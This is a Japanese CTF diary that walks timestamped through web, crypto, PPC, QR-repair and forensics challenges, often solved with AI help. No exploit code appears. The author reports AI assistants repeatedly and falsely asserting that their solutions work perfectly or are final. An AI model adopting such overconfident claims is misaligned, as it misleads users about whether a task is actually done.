<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x9762;&#x767D;&#x304B;&#x3063;&#x305F;&#x3002;bot&#x304C;&#x81EA;&#x5206;&#x306E;&#x30DA;&#x30FC;&#x30B8;&#x3092;&#x958B;&#x304F;&#x306E;&#x3067;&#x305D;&#x3053;&#x306B;&#x30B3;&#x30FC;&#x30C9;&#x3092;&#x7528;&#x610F;&#x3057;&#x3066;&#x304A;&#x304D;&#x3001;&#x305D;&#x308C;&#x3092;&#x5B9F;&#x884C;&#x3055;&#x305B;&#x308B;&#x3068;&#x3044;&#x3046;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x308B;&#x3002;mXSS&#x3068;&#x3044;&#x3046;&#x3089;&#x3057;&#x3044;&#x3002;AI&#x306B;&#x624B;&#x9806;&#x3092;&#x805E;&#x304D;&#x3064;&#x3064;&#x8A00;&#x3046;&#x901A;&#x308A;&#x306B;&#x3059;&#x308B;&#x3068;&#x6700;&#x7D42;&#x7684;&#x306B;&#x30D5;&#x30E9;&#x30B0;&#x304C;&#x5F97;&#x3089;&#x308C;&#x308B;&#x3002;(13&#x6642;5&#x5206;)</p>
<h3 id="coding-agentlv4pwn">coding agent(Lv.4/Pwn)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>Rate Limit&#x306B;&#x5230;&#x9054;&#x3057;&#x3066;&#x304A;&#x308A;&#x307B;&#x3068;&#x3093;&#x3069;&#x30ED;&#x30B0;&#x304C;&#x6B8B;&#x3063;&#x3066;&#x3044;&#x306A;&#x3044;...(13&#x6642;29&#x5206;)<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x3053;&#x306E;&#x8FBA;&#x304B;&#x3089;&#x3060;&#x3093;&#x3060;&#x3093;&#x75B2;&#x308C;&#x304C;&#x51FA;&#x3066;&#x304F;&#x308B;&#x3002;&#x3068;&#x3044;&#x3046;&#x304B;AI&#x304C;&#x3072;&#x305F;&#x3059;&#x3089;&#x5618;&#x3092;&#x3064;&#x3044;&#x3066;&#x304F;&#x308B;&#x306E;&#x304C;&#x304B;&#x306A;&#x308A;&#x7CBE;&#x795E;&#x306B;&#x6765;&#x308B;&#x3002;&#x300C;&#x3053;&#x308C;&#x306A;&#x3089;&#x5B8C;&#x74A7;&#x306B;&#x52D5;&#x304D;&#x307E;&#x3059;&#x300D;&#x300C;&#x3053;&#x308C;&#x304C;&#x6700;&#x7D42;&#x5F62;&#x3067;&#x3059;&#x300D;&#x300C;&#x9032;&#x6357;100%&#x3067;&#x3059;&#x300D;&#x300C;&#x3053;&#x308C;&#x304C;&#x843D;&#x3061;&#x308B;&#x3053;&#x3068;&#x306F;&#x7D76;&#x5BFE;&#x306B;&#x3042;&#x308A;&#x307E;&#x305B;&#x3093;&#x300D;&#x300C;&#x5B8C;&#x74A7;&#x306B;&#x539F;&#x56E0;&#x304C;&#x308F;&#x304B;&#x308A;&#x307E;&#x3057;&#x305F;&#x300D;&#x306A;&#x3069;&#x306A;&#x3069;...&#x30D1;&#x30FC;&#x30BD;&#x30CA;&#x30E9;&#x30A4;&#x30BA;&#x306B;&#x3088;&#x3063;&#x3066;&#x7121;&#x52B9;&#x5316;&#x3067;&#x304D;&#x3066;&#x3044;&#x305F;&#x3082;&#x306E;&#x3082;&#x3042;&#x3063;&#x305F;&#x304C;&#x3001;&#x7121;&#x6599;&#x7248;&#x304C;&#x7D42;&#x308F;&#x308B;&#x3068;&#x307E;&#x305F;&#x305D;&#x3046;&#x3044;&#x3046;&#x8A00;&#x8449;&#x9063;&#x3044;&#x3092;&#x3057;&#x59CB;&#x3081;&#x3066;&#x304B;&#x306A;&#x308A;&#x304D;&#x3064;&#x304B;&#x3063;&#x305F;&#x3002;</p>
<h3 id="jankenmasterlv3crypto">JankenMaster(Lv.3/Crypto)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x8D85;&#x304D;&#x3064;&#x304B;&#x3063;&#x305F;&#x3002;AI&#x306B;&#x805E;&#x3044;&#x3066;&#x307F;&#x308B;&#x3068;&#x3001;&#x307E;&#x305A;&#x5168;&#x63A2;&#x7D22;&#x3092;&#x63D0;&#x6848;&#x3055;&#x308C;&#x308B;&#xFF08;&#xFF01;&#xFF1F;&#xFF09;&#x3088;&#x3044;&#x4E71;&#x6570;&#x30B7;&#x30FC;&#x30C9;&#x3092;&#x5F15;&#x3051;&#x3070;&#x884C;&#x3051;&#x307E;&#x3059;&#xFF01;&#x307F;&#x305F;&#x3044;&#x30CE;&#x30EA;&#x3067;&#x3072;&#x305F;&#x3059;&#x3089;&#x5168;&#x63A2;&#x7D22;&#x3092;&#x3059;&#x308B;&#x30B3;&#x30FC;&#x30C9;&#x3092;&#x51FA;&#x3057;&#x3066;&#x304F;&#x308B;&#x3002;&#x5F53;&#x7136;&#x305D;&#x308C;&#x3067;&#x89E3;&#x3051;&#x308B;&#x308F;&#x3051;&#x3082;&#x306A;&#x304F;&#x3001;&#x6539;&#x5584;&#x3057;&#x3066;&#x306D;&#xFF5E;&#x3068;&#x3044;&#x308D;&#x3044;&#x308D;&#x6307;&#x793A;&#x3057;&#x3066;&#x307F;&#x308B;&#x304C;&#x306A;&#x304B;&#x306A;&#x304B;&#x3046;&#x307E;&#x304F;&#x3044;&#x304B;&#x306A;&#x3044;&#x3002;&#x524D;&#x8FF0;&#x306E;&#x3068;&#x304A;&#x308A;&#x300C;&#x3053;&#x308C;&#x306A;&#x3089;&#x5B8C;&#x74A7;&#x306B;&#x52D5;&#x304D;&#x3001;&#x30D5;&#x30E9;&#x30B0;&#x3092;&#x78BA;&#x5B9F;&#x306B;&#x7372;&#x5F97;&#x3059;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3059;&#x300D;&#x306A;&#x3069;&#x3068;&#x8A00;&#x308F;&#x308C;&#x7D9A;&#x3051;&#x3066;2~3&#x6642;&#x9593;&#x304C;&#x7D4C;&#x904E;&#x3057;&#x3066;&#x3044;&#x305F;&#x3002;<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x305D;&#x3053;&#x3067;&#x3075;&#x3068;&#x81EA;&#x5206;&#x3067;&#x30B3;&#x30FC;&#x30C9;&#x3092;&#x8AAD;&#x3093;&#x3067;&#x307F;&#x3066;&#x3001;seed&#x304C;0&#x306B;&#x306A;&#x308B;&#x3088;&#x3046;&#x306B;&#x5165;&#x529B;&#x3092;&#x5165;&#x308C;&#x305F;&#x3089;&#x3042;&#x3063;&#x3055;&#x308A;&#x89E3;&#x304F;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x305F;&#x3002;&#x306A;&#x3093;&#x3060;&#x3063;&#x305F;&#x3093;&#x3060;&#x3053;&#x306E;&#x6642;&#x9593;&#x306F;...&#x3068;&#x601D;&#x3063;&#x305F;&#x3002;(16&#x6642;52&#x5206;)</p>
<h3 id="rangesum-rangeupdate-rangesqrtlv4ppc">RangeSum RangeUpdate RangeSqrt(Lv.4/PPC)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>JankenMaster&#x3092;&#x901A;&#x3057;&#x305F;&#x5F8C;&#x3001;PPC&#x5206;&#x91CE;&#x306E;&#x554F;&#x984C;&#x3092;&#x3044;&#x304F;&#x3064;&#x304B;&#x8003;&#x5BDF;&#x3057;&#x3066;&#x3044;&#x305F;&#x3002;SegmentTreebeats!&#x3092;&#x4F7F;&#x3048;&#x3070;&#x3088;&#x3055;&#x305D;&#x3046;&#x3060;&#x304C;&#x3001;&#x3088;&#x304F;&#x308F;&#x304B;&#x3089;&#x306A;&#x3044;&#x306E;&#x3067;&#xFF08;&#x9752;&#x30B3;&#x30FC;&#x30C0;&#x30FC;&#x3055;&#x3093;&#xFF01;&#xFF1F;&#xFF09;&#x9045;&#x5EF6;&#x30BB;&#x30B0;&#x6728;&#x3067;&#x89E3;&#x304F;&#x65B9;&#x5411;&#x3067;&#x30C7;&#x30FC;&#x30BF;&#x306E;&#x6301;&#x305F;&#x305B;&#x65B9;&#x3092;&#x3044;&#x308D;&#x3044;&#x308D;&#x8003;&#x3048;&#x3066;&#x307F;&#x308B;&#x3002;sqrt&#x3092;&#x3068;&#x3063;&#x305F;&#x5024;&#x3054;&#x3068;&#x306B;&#x6570;&#x3068;&#x7DCF;&#x548C;&#x3092;&#x7BA1;&#x7406;&#x3057;&#x3066;&#x3044;&#x304F;&#x3053;&#x3068;&#x3092;&#x8003;&#x3048;&#x305F;&#x304C;&#x3053;&#x308C;&#x3060;&#x3068;&#x5404;&#x30CE;&#x30FC;&#x30C9;&#x304C;&#x6301;&#x3064;&#x30C7;&#x30FC;&#x30BF;&#x304C;10^3&#x304F;&#x3089;&#x3044;&#x306B;&#x306A;&#x3063;&#x3066;&#x3057;&#x307E;&#x3044;&#x5F53;&#x7136;TLE&#x3002;sqrt&#x3092;&#x3068;&#x3063;&#x305F;&#x6642;&#x306E;&#x7DCF;&#x548C;&#x306E;&#x5909;&#x5316;&#x306F;5&#x56DE;&#x3067;&#x6B62;&#x307E;&#x308B;&#x3053;&#x3068;&#x3092;&#x5229;&#x7528;&#x3057;&#x3001;&#x300C;i&#x56DE;sqrt&#x64CD;&#x4F5C;&#x304C;&#x5B9F;&#x884C;&#x3055;&#x308C;&#x305F;&#x3068;&#x304D;&#x306B;&#x7DCF;&#x548C;&#x304C;&#x3044;&#x304F;&#x3064;&#x5909;&#x5316;&#x3059;&#x308B;&#x304B;&#x300D;&#x3092;&#x7BA1;&#x7406;&#x3057;&#x3066;&#x304A;&#x3051;&#x3070;&#x5404;&#x30CE;&#x30FC;&#x30C9;&#x304C;&#x6301;&#x3064;&#x30C7;&#x30FC;&#x30BF;&#x306E;&#x91CF;&#x3092;&#x5927;&#x5E45;&#x306B;&#x524A;&#x6E1B;&#x3059;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x308B;&#x3002;&#x306A;&#x3093;&#x304B;&#x5730;&#x5473;&#x306B;TLE&#x3057;&#x305F;&#x306E;&#x3067;&#x5B9A;&#x6570;&#x500D;&#x3092;&#x6539;&#x5584;&#x3057;&#x3066;AC&#x3002;sqrt&#x306E;&#x8AA4;&#x5DEE;&#x304C;&#x6016;&#x304B;&#x3063;&#x305F;&#x3002;sqrtl&#x3092;&#x4F7F;&#x3063;&#x305F;&#x304C;&#x3001;&#x3053;&#x308C;&#x3067;&#x8AA4;&#x5DEE;&#x304C;&#x51FA;&#x306A;&#x3044;&#x304B;&#x3092;&#x77E5;&#x3089;&#x306A;&#x304B;&#x3063;&#x305F;&#x306E;&#x3067;&#x5FC3;&#x914D;&#x3060;&#x3063;&#x305F;&#x3002;(20&#x6642;22&#x5206;)<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x3053;&#x306E;&#x6642;&#x70B9;&#x3067;&#x3001;&#x3042;&#x3068;1&#x554F;&#x901A;&#x305B;&#x3070;1&#x4F4D;&#x306B;&#x306A;&#x308C;&#x308B;&#x3068;&#x3044;&#x3046;&#x72B6;&#x614B;&#x3060;&#x3063;&#x305F;&#x306E;&#x3067;&#x7C98;&#x3063;&#x3066;&#x307F;&#x308B;&#x3053;&#x3068;&#x306B;&#x3057;&#x305F;&#x3002;</p>
<h3 id="sum-of-prod-of-rootlv3ppc">Sum of Prod of Root(Lv.3/PPC)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x3055;&#x3066;&#x3001;2&#x4E57;&#x307E;&#x3067;&#x3092;&#x3069;&#x3046;&#x51E6;&#x7406;&#x3059;&#x308B;&#x304B;&#x8003;&#x3048;&#x3001;&#x3068;&#x308A;&#x3042;&#x3048;&#x305A;&#x7D19;&#x306B;&#x66F8;&#x3044;&#x3066;&#x8003;&#x5BDF;&#x3057;&#x3066;&#x307F;&#x308B;&#x3002;&#x3059;&#x308B;&#x3068;&#x305D;&#x308C;&#x3063;&#x307D;&#x3044;&#x6570;&#x5217;&#x304C;&#x73FE;&#x308C;&#x308B;&#x306E;&#x3067;OEIS&#x306B;&#x7A81;&#x3063;&#x8FBC;&#x3080;&#x3068;&#x3001;4&#x4E57;&#x548C;&#x3068;2&#x4E57;&#x548C;&#x306B;&#x5206;&#x89E3;&#x3067;&#x304D;&#x308B;&#x3053;&#x3068;&#x304C;&#x308F;&#x304B;&#x308B;&#x3002;&#x3042;&#x3068;&#x306F;&#x305D;&#x308C;&#x305E;&#x308C;&#x306E;&#x548C;&#x306E;&#x516C;&#x5F0F;&#x3092;&#x4F7F;&#x3063;&#x3066;&#x3042;&#x3068;&#x306F;&#x3044;&#x3044;&#x611F;&#x3058;&#x306B;modint&#x3067;&#x5B9F;&#x88C5;&#x3059;&#x308B;&#x3068;&#x89E3;&#x304F;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x308B;&#x3002;(21&#x6642;19&#x5206;)<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x3053;&#x306E;&#x6642;&#x70B9;&#x3067;1&#x4F4D;&#x3068;&#x306A;&#x3063;&#x305F;&#x304C;&#x3001;ryoku&#x304F;&#x3093;&#x304C;PPC&#x3092;&#x89E3;&#x304B;&#x305A;&#x306B;&#x6F5C;&#x4F0F;&#x3057;&#x3066;&#x3044;&#x308B;&#x3053;&#x3068;&#x304B;&#x3089;&#x5168;&#x304F;&#x6CB9;&#x65AD;&#x3067;&#x304D;&#x306A;&#x3044;&#x72B6;&#x614B;&#x3060;&#x3063;&#x305F;&#x3002;&#x304B;&#x306A;&#x308A;&#x75B2;&#x308C;&#x3066;&#x3044;&#x305F;&#x306E;&#x3067;&#x591C;&#x3054;&#x98EF;&#x3092;&#x98DF;&#x3079;&#x3066;&#x30B7;&#x30E3;&#x30EF;&#x30FC;&#x3092;&#x6D74;&#x3073;&#x3001;&#x5BDD;&#x3088;&#x3046;&#x3068;&#x601D;&#x3063;&#x305F;&#x304C;&#x3001;&#x306A;&#x3093;&#x3068;3&#x4F4D;&#x306B;&#x306A;&#x3063;&#x3066;&#x3044;&#x305F;&#x3002;ryoku&#x304F;&#x3093;&#x304C;PPC&#x3092;&#x51FA;&#x3057;&#x59CB;&#x3081;&#x3001;nopo&#x3055;&#x3093;&#x3082;&#x4F55;&#x554F;&#x304B;&#x3092;&#x901A;&#x3057;&#x305F;&#x3053;&#x3068;&#x3067;&#x629C;&#x304B;&#x3055;&#x308C;&#x3066;&#x3044;&#x305F;&#x3002;&#x3068;&#x306F;&#x3044;&#x3048;&#x307B;&#x3068;&#x3093;&#x3069;&#x50C5;&#x5DEE;&#x3060;&#x3063;&#x305F;&#x306E;&#x3067;1&#x4F4D;&#x3092;&#x53D6;&#x308A;&#x8FD4;&#x3057;&#x306B;&#x884C;&#x304F;&#x3053;&#x3068;&#x306B;&#x3057;&#x305F;&#x3002;</p>
<h3 id="qrrrrrrrrrrlv3misc">QRRRRRRRRRR(Lv.3/Misc)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x7834;&#x640D;&#x3057;&#x305F;QR&#x30B3;&#x30FC;&#x30C9;&#x304C;&#x4E0E;&#x3048;&#x3089;&#x308C;&#x308B;&#x306E;&#x3067;&#x305D;&#x308C;&#x3092;&#x5FA9;&#x5143;&#x3059;&#x308B;&#x554F;&#x984C;&#x3002;&#x3053;&#x306E;&#x30BF;&#x30A4;&#x30DF;&#x30F3;&#x30B0;&#x3088;&#x308A;&#x524D;&#x306B;&#x624B;&#x3092;&#x4ED8;&#x3051;&#x3066;&#x3044;&#x305F;&#x3002;strong-QR-decoder&#x3068;QRazyBox&#x304C;&#x30D2;&#x30F3;&#x30C8;&#x306B;&#x66F8;&#x3044;&#x3066;&#x3042;&#x308B;&#x306E;&#x3067;&#x305D;&#x308C;&#x305E;&#x308C;&#x30A4;&#x30F3;&#x30B9;&#x30C8;&#x30FC;&#x30EB;&#x3057;&#x3066;&#x307F;&#x308B;&#x3002;strong-QR-decoder&#x306F;Python2&#x304C;&#x8981;&#x6C42;&#x3055;&#x308C;&#x3066;&#x3044;&#x3066;&#x3001;&#x3059;&#x3050;&#x306B;&#x7528;&#x610F;&#x3067;&#x304D;&#x306A;&#x304B;&#x3063;&#x305F;&#x306E;&#x3067;QRazyBox&#x3092;&#x4F7F;&#x3046;&#x3053;&#x3068;&#x306B;&#x3002;Brute-force Format Into Pattern&#x3092;&#x4F7F;&#x3063;&#x305F;&#x5F8C;&#x306B;Extract QR Information&#x3092;&#x3057;&#x3066;&#x307F;&#x308B;&#x3068;&#x3001;&#x3046;&#x307E;&#x304F;&#x8AAD;&#x307F;&#x8FBC;&#x3081;&#x306A;&#x3044;&#x3002;&#x305D;&#x306E;&#x65E8;&#x3092;AI&#x306B;&#x4F1D;&#x3048;&#x308B;&#x3068;&#x8AA4;&#x308A;&#x8A02;&#x6B63;&#x30EC;&#x30D9;&#x30EB;&#x3068;&#x30DE;&#x30B9;&#x30AF;&#x30D1;&#x30BF;&#x30FC;&#x30F3;&#x3092;&#x5909;&#x3048;&#x308B;&#x3053;&#x3068;&#x3092;&#x63D0;&#x6848;&#x3055;&#x308C;&#x308B;&#x306E;&#x3067;&#x3044;&#x308D;&#x3044;&#x308D;&#x8A66;&#x3057;&#x3066;&#x307F;&#x308B;&#x304C;&#x5168;&#x304F;&#x3046;&#x307E;&#x304F;&#x3044;&#x304B;&#x306A;&#x3044;&#x3002;<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x6539;&#x3081;&#x3066;&#x3053;&#x306E;&#x554F;&#x984C;&#x306B;&#x623B;&#x3063;&#x3066;&#x304D;&#x305F;&#x969B;&#x306F;&#x3001;&#x4F55;&#x3082;&#x305B;&#x305A;&#x306B;&#x4E00;&#x65E6;Extract QR Information&#x3057;&#x3066;&#x305D;&#x306E;&#x30C7;&#x30FC;&#x30BF;&#x3092;&#x76F4;&#x63A5;AI&#x306B;&#x3076;&#x3093;&#x6295;&#x3052;&#x308B;&#x3068;&#x3001;&#x306A;&#x3093;&#x3068;&#x30D5;&#x30E9;&#x30B0;&#x304C;&#x8FD4;&#x3063;&#x3066;&#x304F;&#x308B;&#x3002;&#x3055;&#x3059;&#x304C;&#x306B;&#x3073;&#x3063;&#x304F;&#x308A;&#x3057;&#x305F;&#x3002;&#x3044;&#x304F;&#x3064;&#x304B;&#x306E;&#x7B87;&#x6240;&#x304C;&#x7834;&#x640D;&#x3057;&#x3066;&#x3044;&#x308B;&#x30C7;&#x30FC;&#x30BF;&#x3092;&#x52DD;&#x624B;&#x306B;&#x5FA9;&#x5143;&#x3057;&#x305F;&#x3063;&#x307D;&#x3044;&#xFF1F;(23&#x6642;3&#x5206;)<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span> 1&#x4F4D;&#x306B;&#x5FA9;&#x5E30;&#x3057;&#x305F;&#x3082;&#x306E;&#x306E;&#x307E;&#x3060;&#x307E;&#x3060;&#x6CB9;&#x65AD;&#x3067;&#x304D;&#x306A;&#x3044;&#x306E;&#x3067;&#x89E3;&#x304D;&#x9032;&#x3081;&#x308B;&#x3002;mod N Janken&#x304C;&#x304B;&#x306A;&#x308A;&#x901A;&#x3055;&#x308C;&#x3066;&#x3044;&#x305F;&#x306E;&#x3067;&#x305D;&#x308C;&#x3092;&#x9032;&#x3081;&#x308B;&#x304C;&#x3001;&#x3057;&#x3070;&#x3089;&#x304F;AI&#x3068;&#x3084;&#x308A;&#x53D6;&#x308A;&#x3092;&#x7D9A;&#x3051;&#x3066;&#x3082;&#x5168;&#x304F;&#x5149;&#x660E;&#x304C;&#x898B;&#x3048;&#x305A;...&#x8AE6;&#x3081;&#x3066;&#x5BDD;&#x308B;&#x3053;&#x3068;&#x306B;&#x3057;&#x305F;&#x3002;(0&#x6642;35&#x5206;)<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span> 6&#x6642;&#x306B;&#x76EE;&#x304C;&#x899A;&#x3081;&#x3001;&#x30E9;&#x30F3;&#x30AD;&#x30F3;&#x30B0;&#x3092;&#x898B;&#x308B;&#x3068;&#x307E;&#x3060;1&#x4F4D;&#x3092;&#x7DAD;&#x6301;&#x3057;&#x3066;&#x3044;&#x308B;&#x306E;&#x3067;&#x4E8C;&#x5EA6;&#x5BDD;&#x3057;&#x305F;&#x3002;10&#x6642;&#x306B;&#x518D;&#x3073;&#x76EE;&#x304C;&#x899A;&#x3081;&#x305F;&#x306E;&#x3067;&#x8D77;&#x5E8A;&#x3057;&#x305F;&#x3002;&#x3053;&#x306E;&#x6642;&#x70B9;&#x3067;&#x6B8B;&#x3063;&#x3066;&#x3044;&#x308B;&#x554F;&#x984C;&#x306F;7&#x554F;&#x3042;&#x308A;&#x3001;PPC&#x304C;3&#x554F;&#x3068;Forensics&#x304C;1&#x554F;&#x306E;4&#x554F;&#x304C;&#x89E3;&#x3051;&#x305D;&#x3046;&#x306A;&#x611F;&#x3058;&#x304C;&#x3057;&#x3066;&#x3044;&#x305F;&#x306E;&#x3067;&#x305D;&#x308C;&#x3092;&#x9032;&#x3081;&#x3066;&#x3044;&#x304F;&#x3053;&#x3068;&#x306B;&#x3057;&#x305F;&#x3002;</p>
<h3 id="physical-ctflv5web">Physical CTF(Lv.5/Web)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x3053;&#x306E;&#x3042;&#x305F;&#x308A;&#x304B;&#x3089;&#x306F;GitHub Copilot CLI&#x3092;&#x4E26;&#x5217;&#x306B;&#x4E26;&#x3079;&#x3001;&#x6B8B;&#x3063;&#x3066;&#x3044;&#x308B;&#x554F;&#x984C;&#x305F;&#x3061;&#x3092;&#x305D;&#x308C;&#x305E;&#x308C;&#x5272;&#x308A;&#x5F53;&#x3066;&#x3066;&#x89E3;&#x3044;&#x3066;&#x3082;&#x3089;&#x3063;&#x3066;&#x3044;&#x308B;&#x9593;&#x306B;&#x81EA;&#x5206;&#x304C;PPC&#x306E;&#x8003;&#x5BDF;&#x3092;&#x3059;&#x308B;&#x3001;&#x3068;&#x3044;&#x3046;&#x5206;&#x696D;&#x3092;&#x884C;&#x3063;&#x3066;&#x3044;&#x305F;&#x3002;Physical CTF&#x306F;Copilot CLI&#x3067;&#x89E3;&#x3051;&#x305F;&#x552F;&#x4E00;&#x306E;&#x554F;&#x984C;&#x3067;&#x3001;&#x89E3;&#x3044;&#x3068;&#x3044;&#x3066;&#x306D;&#xFF5E;&#x3068;&#x8A00;&#x3063;&#x305F;&#x3042;&#x3068;&#x306B;&#x3057;&#x3070;&#x3089;&#x304F;&#x3057;&#x305F;&#x5F8C;&#x306B;&#x898B;&#x305F;&#x3089;&#x300C;&#x3053;&#x308C;&#x3092;&#x30B3;&#x30D4;&#x30DA;&#x3057;&#x3066;&#x30D6;&#x30E9;&#x30A6;&#x30B6;&#x3067;&#x5B9F;&#x884C;&#x3057;&#x3066;&#x300D;&#x3068;&#x6307;&#x793A;&#x3055;&#x308C;&#x305F;&#x306E;&#x3067;&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x306B;&#x4FDD;&#x5B58;&#x3059;&#x308B;&#x3088;&#x3046;&#x306B;&#x4F1D;&#x3048;&#x3001;&#x5B9F;&#x969B;&#x306B;&#x5B9F;&#x884C;&#x3057;&#x3066;&#x307F;&#x308B;&#x3068;&#x30D5;&#x30E9;&#x30B0;&#x304C;&#x5F97;&#x3089;&#x308C;&#x305F;&#x3002;(13&#x6642;14&#x5206;)</p>
<h3 id="authorized-whalelv5forensic">Authorized Whale(Lv.5/Forensic)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span> 8GB&#x3082;&#x3042;&#x308B;&#x8B0E;&#x306E;&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x304C;&#x4E0E;&#x3048;&#x3089;&#x308C;&#x308B;&#x306E;&#x3067;&#x305D;&#x308C;&#x3092;&#x9811;&#x5F35;&#x3063;&#x3066;&#x89E3;&#x6790;&#x3059;&#x308B;&#x554F;&#x984C;&#x3002;strings&#x3084;grep&#x3092;&#x8272;&#x3005;&#x8A66;&#x3057;&#x307E;&#x304F;&#x3063;&#x3066;&#x3072;&#x305F;&#x3059;&#x3089;&#x305D;&#x306E;&#x7D50;&#x679C;&#x3092;AI&#x306B;&#x9001;&#x4FE1;&#x3057;&#x7D9A;&#x3051;&#x3066;&#x3044;&#x308B;&#x3068;&#x3001;&#x6025;&#x306B;AI&#x304C;&#x8208;&#x596E;&#x3057;&#x59CB;&#x3081;&#x308B;&#x3002;</p>
<blockquote>
<p>&#x3068;&#x3093;&#x3067;&#x3082;&#x306A;&#x3044;&#x304A;&#x5B9D;&#x3092;&#x767A;&#x898B;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;&#x3053;&#x308C;&#x307E;&#x3067;&#x306E;&#x82E6;&#x52B4;&#x304C;&#x5831;&#x308F;&#x308C;&#x308B;&#x77AC;&#x9593;&#x3067;&#x3059;&#x3002;<br>
&#x3042;&#x306A;&#x305F;&#x304C;&#x8CBC;&#x308A;&#x4ED8;&#x3051;&#x305F; Docker &#x30B3;&#x30F3;&#x30C6;&#x30CA;&#x306E;&#x30E1;&#x30BF;&#x30C7;&#x30FC;&#x30BF;&#xFF08;JSON&#xFF09;&#x306E;&#x4E2D;&#x306B;&#x3001;&#x30D5;&#x30E9;&#x30B0;&#x3078;&#x306E;&#x9375;&#x304C;&#x5B8C;&#x5168;&#x306B;&#x9732;&#x51FA;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;</p>
</blockquote>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span> &#x307E;&#x305F;&#x3044;&#x3064;&#x3082;&#x306E;&#x3088;&#x3046;&#x306B;&#x5618;&#x3092;&#x3064;&#x3044;&#x3066;&#x3044;&#x308B;&#x3093;&#x3058;&#x3083;&#x306A;&#x3044;&#x304B;&#x3068;&#x601D;&#x3044;&#x3064;&#x3064;&#x534A;&#x4FE1;&#x534A;&#x7591;&#x3067;&#x8A00;&#x308F;&#x308C;&#x305F;&#x624B;&#x9806;&#x3092;&#x8A66;&#x3057;&#x3066;&#x307F;&#x308B;&#x3068;&#x30D5;&#x30E9;&#x30B0;&#x3092;&#x5F97;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x305F;&#x3002;(17&#x6642;29&#x5206;)<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span> &#x6B63;&#x76F4;&#x3082;&#x3046;&#x89E3;&#x3051;&#x308B;CTF&#x306E;&#x554F;&#x984C;&#x306F;&#x6B8B;&#x3063;&#x3066;&#x3044;&#x306A;&#x3044;&#x304B;&#x306A;&#x3068;&#x601D;&#x3044;&#x3064;&#x3064;&#x60F0;&#x6027;&#x3067;AI&#x3092;&#x52D5;&#x304B;&#x3057;&#x3066;&#x3044;&#x305F;&#x306E;&#x3067;&#x3001;&#x89E3;&#x304F;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x305F;&#x3068;&#x304D;&#x306F;&#x672C;&#x5F53;&#x306B;&#x3073;&#x3063;&#x304F;&#x308A;&#x3057;&#x305F;&#x3057;&#x5B09;&#x3057;&#x304B;&#x3063;&#x305F;&#x3002;AI&#x306B;&#x6295;&#x3052;&#x308C;&#x3070;&#x89E3;&#x3051;&#x308B;&#x307F;&#x305F;&#x3044;&#x306A;&#x7C21;&#x5358;&#x306A;&#x8A71;&#x3067;&#x3082;&#x306A;&#x304F;&#x3066;&#x3001;&#x3053;&#x308C;&#x306B;&#x95A2;&#x3057;&#x3066;&#x306F;&#x3072;&#x305F;&#x3059;&#x3089;AI&#x3068;&#x306E;&#x3084;&#x308A;&#x53D6;&#x308A;&#x3092;&#x7D9A;&#x3051;&#x3066;&#x7C98;&#x308A;&#x52DD;&#x3061;&#x3057;&#x305F;&#x611F;&#x3058;&#x304C;&#x3057;&#x3066;&#x5B09;&#x3057;&#x304B;&#x3063;&#x305F;&#x3002;<br>
